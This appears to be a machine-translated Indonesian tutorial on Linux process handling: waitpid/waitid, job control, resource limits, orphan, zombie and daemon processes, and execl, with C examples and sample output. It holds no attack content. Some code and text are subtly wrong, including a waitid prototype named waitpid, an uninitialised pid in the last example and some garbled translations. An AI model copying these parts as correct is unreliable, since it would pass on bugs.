5942779 84397 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
3108506 84928 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
4688328 84929 0 0 Jan22 ? 00:00:29 [/sbin/klogd -c ] <defunct>
5942779 84930 0 0 Jan22 ? 00:00:30 [/sbin/klogd -c ] <defunct>
7528790 84970 0 0 Jan20 ? 00:00:34 /sbin/klogd -c 1 -x -x
3108506 85787 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 85789 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86368 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 86402 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 87027 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
7528790 87629 0 0 Jan20 ? 00:00:39 /sbin/klogd -c 1 -x -x
7528790 87719 0 0 Jan20 ? 00:00:27 /sbin/klogd -c 1 -x -x
4688328 88138 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
4688328 88140 0 0 Jan22 ? 00:00:14 [/sbin/klogd -c ] <defunct>
5942779 89353 0 99 Jan22 ? 2-07:41:15 /sbin/klogd -c 1 -x -x
5942779 91836 0 0 Jan22 ? 00:00:00 [/sbin/klogd -c ] <defunct>
4688328 125358 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 125359 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
4688328 127456 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
3108506 127457 0 0 Jan22 ? 00:01:19 [/sbin/klogd -c ] <defunct>
8023807 191762 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 191768 191762 0 05:47 ? 00:00:00 timeout 10s main
8023807 191769 191768 0 05:47 ? 00:00:00 main
8023807 191770 191769 0 05:47 ? 00:00:00 main
8023807 192193 0 0 05:47 ? 00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807 192199 192193 0 05:47 ? 00:00:00 timeout 10s main
8023807 192200 192199 0 05:47 ? 00:00:00 main
8023807 192201 192200 0 05:47 ? 00:00:00 main
8023807 192202 192201 0 05:47 ? 00:00:00 ps -ef
Note- Meskipun anak mengembalikan status keluar dari 3, mengapa proses induk menganggapnya sebagai 768. Status disimpan dalam byte orde tinggi, sehingga disimpan dalam format heksadesimal sebagai 0X0300, yaitu 768 dalam desimal. Pengakhiran normal adalah sebagai berikut
Byte Pesanan Tinggi (Bit 8 hingga 15) | Byte Urutan Bawah (Bit 0 hingga 7) |
Status keluar (0 hingga 255) | 0 |
Panggilan sistem wait () memiliki batasan seperti hanya bisa menunggu hingga anak berikutnya keluar. Jika kita perlu menunggu anak tertentu, tidak mungkin menggunakan wait (), namun dimungkinkan menggunakan panggilan sistem waitpid ().
Pemanggilan sistem waitpid () akan menunggu anak-anak yang ditentukan untuk menghentikan dan mengembalikan status penghentiannya dalam buffer seperti yang dijelaskan di bawah ini.
#include <sys/types.h>
#include <sys/wait.h>
pid_t waitpid(pid_t pid, int *status, int options);
Panggilan di atas mengembalikan ID proses dari anak yang dihentikan saat berhasil dan -1 saat gagal. Pemanggilan sistem waitpid () menangguhkan eksekusi proses saat ini dan menunggu tanpa batas hingga anak yang ditentukan (sesuai nilai pid) berakhir. Status penghentian dari anak tersedia dalam status.
Nilai pid dapat berupa salah satu dari berikut -
< -1 - Tunggu proses anak yang ID grup prosesnya sama dengan nilai absolut pid.
-1 - Tunggu proses anak apa pun, yang sama dengan proses pemanggilan sistem wait ().
0 - Tunggu setiap proses anak yang ID grup prosesnya sama dengan proses panggilan.
>0 - Tunggu proses anak yang ID prosesnya sama dengan nilai pid.
Secara default, pemanggilan sistem waitpid () hanya menunggu anak-anak yang diakhiri tetapi perilaku default ini bisa dimodifikasi menggunakan argumen opsi.
Sekarang mari kita pertimbangkan sebuah program sebagai contoh, menunggu proses tertentu dengan id prosesnya.
/ * Nama file: waitpid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 4;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
waitpid(pids[total_processes - 1], &status, 0);
if (WIFEXITED(status) != 0) {
printf("process %d exited normally\n", pids[total_processes - 1]);
printf("exit status from child is %d\n", WEXITSTATUS(status));
} else {
printf("process %d not exited normally\n", pids[total_processes - 1]);
}
return 0;
}
Setelah kompilasi dan eksekusi, berikut adalah hasilnya.
In child process: process id is 32528
In parent process: created process number: 32528
In child process: process id is 32529
In parent process: created process number: 32528
In parent process: created process number: 32529
In child process: process id is 32530
In parent process: created process number: 32528
In parent process: created process number: 32529
In parent process: created process number: 32530
process 32530 exited normally
exit status from child is 4
Sekarang, mari kita periksa panggilan sistem waitid (). Panggilan sistem ini menunggu proses anak untuk mengubah status.
#include <sys/wait.h>
int waitpid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
Panggilan sistem di atas menunggu proses anak untuk mengubah status dan panggilan ini menangguhkan proses saat ini / panggilan hingga salah satu proses turunannya mengubah statusnya. Argumen 'infop' adalah untuk merekam status anak saat ini. Panggilan ini segera kembali, jika proses telah mengubah statusnya.
Nilai idtype dapat berupa salah satu dari berikut -
P_PID - Tunggu proses anak yang ID prosesnya sama dengan id.
P_PGID - Tunggu proses anak apa pun, yang ID grup prosesnya sama dengan id.
P_ALL - Tunggu proses turunan dan id diabaikan.
Argumen opsi adalah untuk menentukan status mana yang berubah dan ini dapat dibentuk dengan operasi bitwise ATAU dengan bendera yang disebutkan di bawah -
WCONTINUED - Mengembalikan status setiap anak yang dihentikan dan telah dilanjutkan.
WEXITED - Menunggu prosesnya keluar.
WNOHANG - Segera kembali.
WSTOPPED - Menunggu proses setiap anak yang telah berhenti, setelah menerima sinyal dan mengembalikan status.
Panggilan ini mengembalikan 0, jika kembali karena perubahan status salah satu anaknya dan WNOHANG digunakan. Ia mengembalikan –1, jika terjadi kesalahan dan menetapkan nomor kesalahan yang sesuai.
/ * Nama file: waitid_test.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/wait.h>
int main() {
int pid;
int pids[3];
int status;
int numprocesses = 0;
int total_processes = 3;
siginfo_t siginfo;
while (numprocesses < total_processes) {
pid = fork();
// Child process
if (pid == 0) {
printf("In child process: process id is %d\n", getpid());
sleep(5);
return 2;
} else {
pids[numprocesses] = pid;
numprocesses++;
printf("In parent process: created process number: %d\n", pid);
}
}
// Waiting for 3rd child process
status = waitid(P_PID, pids[total_processes - 1], &siginfo, WEXITED);
if (status == -1) {
perror("waitid error");
return 1;
}
printf("Info received from waitid is: ");
printf("PID of child: %d, real user id of child: %d\n", siginfo.si_pid, siginfo.si_uid);
return 0;
}
Setelah eksekusi dan kompilasi program di atas, berikut adalah hasilnya.
In child process: process id is 35390
In parent process: created process number: 35390
In child process: process id is 35391
In parent process: created process number: 35390
In parent process: created process number: 35391
In child process: process id is 35392
In parent process: created process number: 35390
In parent process: created process number: 35391
In parent process: created process number: 35392
Info received from waitid is: PID of child: 35392, real user id of child: 4581875
Dalam bab ini, kita akan mengenal Grup Proses, Sesi, dan Kontrol Pekerjaan.
Process Group- Grup proses adalah kumpulan dari satu atau lebih proses. Grup proses terdiri dari satu atau lebih proses yang berbagi pengidentifikasi grup proses (PGID) yang sama. ID grup proses (PGID) memiliki jenis yang sama (pid_t) sebagai ID proses. Grup proses memiliki pemimpin grup proses, yang merupakan proses yang membuat grup dan yang ID prosesnya menjadi ID grup proses dari grup tersebut.
Sessions - Ini adalah kumpulan dari berbagai kelompok proses.
Job Control- Ini memungkinkan pengguna shell untuk secara bersamaan menjalankan beberapa perintah (atau pekerjaan), satu di latar depan dan semua yang tersisa di latar belakang. Juga dimungkinkan untuk memindahkan pekerjaan dari latar depan ke latar belakang dan sebaliknya.
Mari kita pahami ini dengan bantuan program contoh yang menggunakan shell (BASH).
Skrip shell (dalam BASH) untuk melakukan perintah dasar (tanggal, gema, tidur dan kal) bernama basic_commands.sh
Skrip shell (dalam BASH) untuk melakukan perintah dasar (ps, echo)
#!/bin/bash
#basic_commands.sh
date
echo "Now sleeping for 250 seconds, so that testing job control functionality is smooth"
sleep 250
cal
#!/bin/bash
#process_status.sh
ps
echo "Now sleeping for 200 seconds, so that testing job control functionality is smooth"
sleep 200
ps
Gunakan perintah chmod untuk memberi file izin eksekusi. Secara default, file normal hanya akan mendapatkan izin baca dan tulis dan tidak menjalankan izin.
Untuk menghentikan proses yang sedang berjalan, Anda harus memasukkan CTRL + Z. Ini memberi Anda nomor pekerjaan. Pekerjaan dapat dilanjutkan di latar depan atau latar belakang. Jika perlu, untuk melanjutkan pekerjaan di latar depan gunakan perintah 'fg'. Jika perlu, untuk melanjutkan pekerjaan di latar belakang, gunakan perintah 'bg'. Dengan menggunakan ini, itu hanya akan menjalankan proses yang terakhir dihentikan. Bagaimana jika Anda ingin memulai selain proses yang terakhir dihentikan? Cukup gunakan nomor pekerjaan setelah fg atau bg (katakanlah bg% 2 atau bg% 3, dll). Jika pekerjaan yang sedang berjalan ada di latar belakang, Anda dapat menjalankan tugas lainnya di latar depan. Untuk mendapatkan daftar pekerjaan, gunakan perintah, pekerjaan. Dimungkinkan juga untuk menghentikan proses baik dengan CTRL + C atau perintah kill. Anda dapat memberikan nomor pekerjaan saat menggunakan perintah kill.
Periksa keluaran berikut yang menunjukkan menghentikan pekerjaan, memindahkan pekerjaan dari latar depan ke latar belakang dan sebaliknya, menghentikan pekerjaan, dll.
chmod u+x basic_commands.sh
chmod u+x process_status.sh
./basic_commands.sh
Wed Jul 5 18:30:27 IST 2017
Now sleeping for 250 seconds, so that testing job control functionality is smooth
^Z
[1]+ Stopped ./basic_commands.sh
./process_status.sh
PID TTY TIME CMD
2295 pts/1 00:00:00 bash
4222 pts/1 00:00:00 basic_commands.
4224 pts/1 00:00:00 sleep
4225 pts/1 00:00:00 process_status.
4226 pts/1 00:00:00 ps
Now sleeping for 200 seconds, so that testing job control functionality is smooth
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
fg
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
fg %1
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Stopped ./process_status.sh
bg %2
[2]- ./process_status.sh &
fg
./basic_commands.sh
^Z
[1]+ Stopped ./basic_commands.sh
jobs
[1]+ Stopped ./basic_commands.sh
[2]- Running ./process_status.sh &
fg %2
./process_status.sh
^Z
[2]+ Stopped ./process_status.sh
jobs
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
kill %1 %2
[1]- Stopped ./basic_commands.sh
[2]+ Stopped ./process_status.sh
[1]- Terminated ./basic_commands.sh
[2]+ Terminated ./process_status.sh
Proses tersebut membutuhkan sumber daya tertentu seperti CPU dan memori untuk melakukan tugas. Sekarang kita akan melihat perintah terkait dan panggilan sistem untuk mengetahui informasi tentang pemanfaatan dan pemantauan sumber daya. Juga ada batas tertentu secara default untuk setiap proses pada sumber daya, dan jika diperlukan, batas dapat ditingkatkan untuk mengakomodasi persyaratan aplikasi.
Berikut ini adalah sistem penting atau proses informasi sumber daya menggunakan perintah -
Perintah teratas
$ top
Perintah atas terus menampilkan penggunaan sumber daya sistem. Jika ada proses yang membuat sistem berada dalam kondisi hang (menghabiskan lebih banyak CPU atau Memori), dimungkinkan untuk mencatat informasi proses dan mengambil tindakan yang sesuai (seperti mematikan proses terkait).
Perintah ps
$ ps
Perintah ps memberikan informasi tentang semua proses yang berjalan. Ini membantu untuk memantau dan mengontrol proses.
Perintah vmstat
$ vmstat
Perintah vmstat melaporkan statistik subsistem memori virtual. Ini melaporkan informasi proses (menunggu untuk dijalankan, tidur, proses yang dapat dijalankan, dll.), Memori (informasi memori virtual seperti gratis, digunakan, dll.), Area swap, perangkat IO, informasi sistem (jumlah interupsi, sakelar konteks ) dan CPU (pengguna, sistem, dan waktu idle).
Perintah lsof
$ lsof
Perintah lsof mencetak daftar file yang terbuka dari semua proses yang sedang berjalan, termasuk proses sistem.
Perintah getconf
$ getconf –a
Perintah getconf menampilkan informasi variabel konfigurasi sistem.
Sekarang, mari kita lihat panggilan sistem terkait.
System call getrusage (), yang menyediakan informasi tentang penggunaan sumber daya sistem.
Panggilan sistem terkait dengan mengakses dan mengatur batas sumber daya yaitu, getrlimit (), setrlimit (), prlimit ().
Panggilan Penggunaan Sumber Daya Sistem
#include <sys/time.h>
#include <sys/resource.h>
int getrusage(int who, struct rusage *usage);
Panggilan sistem getrusage () mengembalikan informasi tentang penggunaan sumber daya sistem. Ini dapat mencakup informasi tentang diri sendiri, turunan, atau utas pemanggil menggunakan flag RUSAGE_SELF, RUSAGE_CHILDREN, RUSAGE_THREAD untuk variabel “siapa”. Setelah panggilan, ia mengembalikan informasi dalam kerusakan struktur.
Panggilan ini akan mengembalikan "0" saat berhasil dan "-1" saat gagal.
Mari kita lihat contoh program berikut ini.
/ * Nama file: sysinfo_getrusage.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rusage res_usage;
int retval;
retval = getrusage(RUSAGE_SELF, &res_usage);
if (retval == -1) {
perror("getrusage error");
return;
}
printf("Details of getrusage:\n");
printf("User CPU time (seconds) is %d\n", (int)res_usage.ru_utime.tv_sec);
printf("User CPU time (micro seconds) is %d\n", (int)res_usage.ru_utime.tv_usec);
printf("Maximum size of resident set (kb) is %ld\n", res_usage.ru_maxrss);
printf("Soft page faults (I/O not required) is %ld\n", res_usage.ru_minflt);
printf("Hard page faults (I/O not required) is %ld\n", res_usage.ru_majflt);
printf("Block input operations via file system is %ld\n", res_usage.ru_inblock);
printf("Block output operations via file system is %ld\n", res_usage.ru_oublock);
printf("Voluntary context switches are %ld\n", res_usage.ru_nvcsw);
printf("Involuntary context switches are %ld\n", res_usage.ru_nivcsw);
return;
}
Langkah Kompilasi dan Eksekusi
Details of getrusage:
User CPU time (seconds) is 0
User CPU time (micro seconds) is 0
Maximum size of resident set (kb) is 364
Soft page faults (I/O not required) is 137
Hard page faults (I/O not required) is 0
Block input operations via file system is 0
Block output operations via file system is 0
Voluntary context switches are 0
Involuntary context switches are 1
Sekarang mari kita lihat panggilan sistem yang terkait dengan akses dan pengaturan batas sumber daya.
#include <sys/time.h>
#include <sys/resource.h>
int getrlimit(int resource, struct rlimit *rlim);
int setrlimit(int resource, const struct rlimit *rlim);
int prlimit(pid_t pid, int resource, const struct rlimit *new_limit, struct rlimit *old_limit);
Panggilan sistem getrlimit() mendapatkan batas sumber daya dalam struktur rlimit dengan memasukkan sumber daya yang dibutuhkan seperti RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK, dll.
Panggilan sistem setrlimit() menetapkan batas sumber daya seperti yang disebutkan dalam struktur batas sejauh dalam batasnya.
Panggilan sistem prlimit() digunakan untuk berbagai tujuan, seperti untuk mengambil batas sumber daya saat ini atau untuk memperbarui batas sumber daya ke nilai baru.
Rlimit struktur mengandung dua nilai -
Soft limit - Batas saat ini
Hard limit - Batas maksimum yang dapat diperpanjang.
RLIMIT_NOFILE
RLIMIT_NPROC - Jumlah proses maksimum yang dapat dibuat untuk pengguna proses tersebut.
RLIMIT_STACK - Ukuran maksimum dalam byte dari segmen tumpukan untuk proses itu.
Semua panggilan ini akan mengembalikan "0" saat sukses dan "-1" saat gagal.
Mari kita pertimbangkan contoh berikut di mana kita menggunakan panggilan sistem getrlimit ().
/ * Nama file: sysinfo_getrlimit.c * /
#include<stdio.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = getrlimit(resources[counter], &res_limit);
if (retval == -1) {
perror("getrlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Langkah Kompilasi dan Eksekusi
Details of resource limits for NOFILE, NPROC, STACK are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Mari kita pertimbangkan contoh lain dengan panggilan sistem getrlimit () tetapi sekarang dengan panggilan sistem prlimit ().
/ * Nama file: sysinfo_prlimit.c * /
#include<stdio.h>
#include<unistd.h>
#include<sys/time.h>
#include<sys/resource.h>
void main(void) {
struct rlimit res_limit;
int retval;
int resources[] = {RLIMIT_NOFILE, RLIMIT_NPROC, RLIMIT_STACK};
int max_res;
int counter = 0;
printf("Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows: \n");
max_res = sizeof(resources)/sizeof(int);
while (counter < max_res) {
retval = prlimit(getpid(), resources[counter], NULL, &res_limit);
if (retval == -1) {
perror("prlimit error");
return;
}
printf("Soft Limit is %ld\n", res_limit.rlim_cur);
printf("Hard Limit (ceiling) is %ld\n", res_limit.rlim_max);
counter++;
}
return;
}
Langkah Kompilasi dan Eksekusi
Details of resource limits for NOFILE, NPROC, STACK using prlimit are as follows:
Soft Limit is 516
Hard Limit (ceiling) is 516
Soft Limit is 256
Hard Limit (ceiling) is 256
Soft Limit is 33554432
Hard Limit (ceiling) is 33554432
Selama ini kita telah membahas tentang proses, pembuatannya, proses induk dan anak, dll. Pembahasan tidak akan lengkap tanpa membahas proses terkait lainnya, seperti proses Orphan, proses Zombie dan proses Daemon.
Proses Orphan
Seperti yang ditunjukkan oleh namanya, orphan menyiratkan proses tanpa orang tua. Saat kita menjalankan program atau aplikasi, proses induk untuk aplikasi tersebut adalah shell. Saat kita membuat proses menggunakan fork (), proses yang baru dibuat adalah proses anak dan proses yang membuat anak adalah proses induk. Pada gilirannya, proses induknya adalah shell. Tentu saja, induk dari semua proses adalah proses init (ID Proses → 1).
Di atas adalah skenario biasa, bagaimanapun, apa yang terjadi jika proses induk keluar sebelum proses anak. Hasilnya, proses anak kini menjadi proses yatim piatu. Lalu bagaimana dengan induknya, induk barunya adalah induk dari semua proses, yang tidak lain adalah proses init (ID Proses - 1).
Mari kita coba dan pahami ini menggunakan contoh berikut.
/ * Nama File: orphan_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
system("ps -f");
pid = fork();
if (pid == 0) {
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(5);
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
system("ps -f");
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(2);
exit(0);
}
return 0;
}
Langkah Kompilasi dan Eksekusi
UID PID PPID C STIME TTY TIME CMD
4581875 180558 0 0 09:19 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 180564 180558 0 09:19 ? 00:00:00 timeout 10s main
4581875 180565 180564 0 09:19 ? 00:00:00 main
4581875 180566 180565 0 09:19 ? 00:00:00 ps -f
Parent: pid is 180565 and ppid is 180564
UID PID PPID C STIME TTY TIME CMD
4581875 180567 0 0 09:19 ? 00:00:00 main
4581875 180820 180567 0 09:19 ? 00:00:00 ps -f
Child: pid is 180567 and ppid is 180565
Child: pid is 180567 and ppid is 0
Proses Zombie
Secara sederhana, asumsikan Anda memiliki dua proses, yaitu proses induk dan anak. Ini adalah tanggung jawab proses induk untuk menunggu proses anak dan kemudian membersihkan entri proses anak dari tabel proses. Bagaimana jika proses induk tidak siap untuk menunggu proses anak, dan sementara itu proses anak menyelesaikan tugasnya dan keluar? Sekarang, proses anak akan menjadi proses zombie. Tentu saja, proses zombie dibersihkan setelah proses induk siap.
Mari kita pahami ini dengan bantuan sebuah contoh.
/ * Nama File: zombie_process.c * /
#include<stdio.h>
#include<stdlib.h>
int main() {
int pid;
pid = fork();
if (pid == 0) {
system("ps -f");
printf("Child: pid is %d and ppid is %d\n",getpid(),getppid());
exit(0);
} else {
printf("Parent: pid is %d and ppid is %d\n",getpid(),getppid());
sleep(10);
system("ps aux|grep Z");
}
return 0;
}
Langkah Kompilasi dan Eksekusi
UID PID PPID C STIME TTY TIME CMD
4581875 184946 0 0 09:20 ? 00:00:00 sh -c cd /home/cg/root/4581875;
timeout 10s main
4581875 184952 184946 0 09:20 ? 00:00:00 timeout 10s main
4581875 184953 184952 0 09:20 ? 00:00:00 main
4581875 184954 184953 0 09:20 ? 00:00:00 main
4581875 184955 184954 0 09:20 ? 00:00:00 ps -f
Child: pid is 184954 and ppid is 184953
Proses Daemon
Secara sederhana, proses yang tidak memiliki shell atau terminal terkait dikenal sebagai proses daemon. Mengapa ini dibutuhkan? Ini adalah proses yang berjalan di latar belakang untuk melakukan tindakan pada interval yang telah ditentukan dan juga merespons peristiwa tertentu. Proses daemon tidak boleh memiliki interaksi pengguna, karena ini berjalan sebagai proses latar belakang.
Proses daemon internal Linux biasanya diakhiri dengan huruf “d” seperti Daemon Kernel (ksoftirqd, kblockd, kswapd, dll.), Printing Daemon (cupsd, lpd, dll.), Daemon Layanan File (smbd, nmbd, dll.) , Daemon basis data Administratif (ypbind, ypserv, dll.), Daemon Email Elektronik (sendmail, popd, smtpd, dll.), Daemon Masuk Jarak Jauh dan Eksekusi Perintah (sshd, in.telnetd, dll.), Daemon Booting dan Konfigurasi (dhcpd , udevd, dll.), proses init (init), daemon cron, daemon atd, dll.
Sekarang mari kita lihat cara membuat proses daemon. Berikut langkah-langkahnya -
Step 1- Buat proses anak. Sekarang kita memiliki dua proses - proses induk dan proses anak
Biasanya hirarki prosesnya adalah SHELL → PARENT PROCESS → CHILD PROCESS
Step 2- Hentikan proses induk dengan keluar. Proses anak sekarang menjadi proses yatim piatu dan diambil alih oleh proses init.
Sekarang, hirarkinya adalah PROSES INIT → PROSES ANAK
Step 3- Memanggil panggilan sistem setsid () membuat sesi baru, jika proses panggilan bukan pemimpin grup proses. Sekarang proses panggilan menjadi pemimpin kelompok dari sesi baru. Proses ini akan menjadi satu-satunya proses dalam grup proses baru ini dan dalam sesi baru ini.
Step 4 - Atur ID grup proses dan ID sesi ke PID dari proses panggilan.
Step 5 - Tutup deskriptor file default (input standar, output standar, dan kesalahan standar) dari proses karena terminal dan shell sekarang terputus dari aplikasi.
/ * Nama file: daemon_test.c * /
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<unistd.h>
#include<fcntl.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char *argv[]) {
pid_t pid;
int counter;
int fd;
int max_iterations;
char buffer[100];
if (argc < 2)
max_iterations = 5;
else {
max_iterations = atoi(argv[1]);
if ( (max_iterations <= 0) || (max_iterations > 20) )
max_iterations = 10;
}
pid = fork();
// Unable to create child process
if (pid < 0) {
perror("fork error\n");
exit(1);
}
// Child process
if (pid == 0) {
fd = open("/tmp/DAEMON.txt", O_WRONLY|O_CREAT|O_TRUNC, 0644);
if (fd == -1) {
perror("daemon txt file open error\n");
return 1;
}
printf("Child: pid is %d and ppid is %d\n", getpid(), getppid());
printf("\nChild process before becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
setsid();
printf("\nChild process after becoming session leader\n");
sprintf(buffer, "ps -ef|grep %s", argv[0]);
system(buffer);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
} else {
printf("Parent: pid is %d and ppid is %d\n", getpid(), getppid());
printf("Parent: Exiting\n");
exit(0);
}
// Executing max_iteration times
for (counter = 0; counter < max_iterations; counter++) {
sprintf(buffer, "Daemon process: pid is %d and ppid is %d\n", getpid(), getppid());
write(fd, buffer, strlen(buffer));
sleep(2);
}
strcpy(buffer, "Done\n");
write(fd, buffer, strlen(buffer));
// Can't print this as file descriptors are already closed
printf("DoneDone\n");
close(fd);
return 0;
}
Parent: pid is 193524 and ppid is 193523
Parent: Exiting
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193526 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193528 193526 0 09:23 ? 00:00:00 grep main
4581875 193525 0 0 09:23 ? 00:00:00 main
4581875 193529 193525 0 09:23 ? 00:00:00 sh -c ps -ef|grep main
4581875 193531 193529 0 09:23 ? 00:00:00 grep main
Asumsikan bahwa kita menjalankan program dan ingin menjalankan program lain dari program saat ini. Apakah ini mungkin? Betapa tidak, jika kita menerapkan konsep overlay pada gambar proses. Tidak apa-apa tapi bagaimana dengan program yang sedang berjalan, apakah bisa dijalankan juga. Bagaimana mungkin, karena kami melapisi program saat ini dengan program baru. Apa yang harus saya lakukan, jika saya ingin menjalankan dua program tanpa kehilangan program yang sedang berjalan, apakah mungkin? Ya, itu mungkin.
Buat proses anak, sehingga kita memiliki proses induk dan proses anak yang baru dibuat. Kami sudah menjalankan program saat ini dalam proses induk, jadi jalankan proses yang baru dibuat pada anak. Dengan cara ini, kita dapat menjalankan program lain dari program saat ini. Tidak hanya satu program tetapi kita dapat menjalankan sejumlah program dari program saat ini dengan membuat banyak proses anak.
Mari kita lihat program berikut ini sebagai contoh.
/ * Nama File: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
/ * Nama File: execl_test.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
return;
}
Program di atas akan melapisi gambar proses dari execl_test dengan helloworld. Itulah alasannya, kode gambar proses dari execl_test (printf ()) tidak dijalankan.
Langkah Kompilasi dan Eksekusi
Hello World
Sekarang, kita akan menjalankan dua program berikut dari satu program, yaitu execl_run_two_prgms.c.
Program Hello World (helloworld.c)
Sedangkan program loop untuk mencetak dari 1 hingga 10 (while_loop.c)
/ * Nama File: while_loop.c * /
/* Prints numbers from 1 to 10 using while loop */
#include<stdio.h>
void main() {
int value = 1;
while (value <= 10) {
printf("%d\t", value);
value++;
}
printf("\n");
return;
}
Berikut adalah program untuk menjalankan dua program (satu program dari anak dan program lain dari induk).
/ * Nama file: execl_run_two_prgms.c * /
#include<stdio.h>
#include<unistd.h>
void main() {
int pid;
pid = fork();
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
execl("./helloworld", "./helloworld", (char *)0);
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)0);
printf("Won't reach here\n");
}
return;
}
Note - Tempatkan panggilan sleep () untuk memastikan proses anak dan induk berjalan secara berurutan (tidak tumpang tindih dengan hasil).
Langkah Kompilasi dan Eksekusi
Child process: Running Hello World Program
This wouldn't print
Parent process: Running While loop Program
Won't reach here
Sekarang kita akan menjalankan dua program dari satu program yaitu, execl_run_two_prgms.c, program yang sama seperti di atas tetapi dengan argumen baris perintah. Jadi, kami menjalankan dua program yaitu, helloworld.c dalam proses anak, dan program while_loop.c dalam proses induk. Ini adalah sebagai berikut -
Program Hello World (helloworld.c)
Sementara program loop untuk mencetak dari 1 ke num_times_str sesuai argumen baris perintah (while_loop.c)
Program ini secara luas melakukan tindakan berikut -
Menciptakan proses anak
Proses anak menjalankan program helloworld.c
Proses induk menjalankan program while_loop.c meneruskan nilai argumen baris perintah sebagai argumen ke program. Jika argumen baris perintah tidak diteruskan, maka defaultnya adalah 10. Jika tidak, ia mengambil nilai argumen yang diberikan. Nilai argumen harus numerik; kode tidak akan divalidasi jika diberikan dalam huruf.
/ * Nama file: execl_run_two_prgms.c * /
#include<stdio.h>
#include<string.h>
#include<unistd.h>
void main(int argc, char *argv[0]) {
int pid;
int err;
int num_times;
char num_times_str[5];
/* In no command line arguments are passed, then loop maximum count taken as 10 */
if (argc == 1) {
printf("Taken loop maximum as 10\n");
num_times = 10;
sprintf(num_times_str, "%d", num_times);
} else {
strcpy(num_times_str, argv[1]);
printf("num_times_str is %s\n", num_times_str);
pid = fork();
}
/* Child process */
if (pid == 0) {
printf("Child process: Running Hello World Program\n");
err = execl("./helloworld", "./helloworld", (char *)0);
printf("Error %d\n", err);
perror("Execl error: ");
printf("This wouldn't print\n");
} else { /* Parent process */
sleep(3);
printf("Parent process: Running While loop Program\n");
execl("./while_loop", "./while_loop", (char *)num_times_str, (char *)0);
printf("Won't reach here\n");
}
return;
}
Berikut ini adalah program helloworld.c yang dipanggil dari proses anak program, execl_run_two_prgms.c.
/ * Nama File: helloworld.c * /
#include<stdio.h>
void main() {
printf("Hello World\n");
return;
}
Berikut ini adalah program while_loop.c yang dipanggil dari proses induk program, execl_run_two_prgms.c. Argumen untuk program ini dilewatkan dari program yang menjalankan ini yaitu, execl_run_two_prgms.c.
/ * Nama file: while_loop.c * /
#include<stdio.h>
void main(int argc, char *argv[]) {
int start_value = 1;
int end_value;
if (argc == 1)
end_value = 10;
else
end_value = atoi(argv[1]);
printf("Argv[1] is %s\n", argv[1]);
while (start_value <= end_value) {
printf("%d\t", start_value);
start_value++;
}
printf("\n");
return;
}
Langkah Kompilasi dan Eksekusi
Taken loop maximum as 10
num_times_str is 10
Child process: Running Hello World Program
Hello World
Parent process: Running While loop Program
Argv[1] is 10
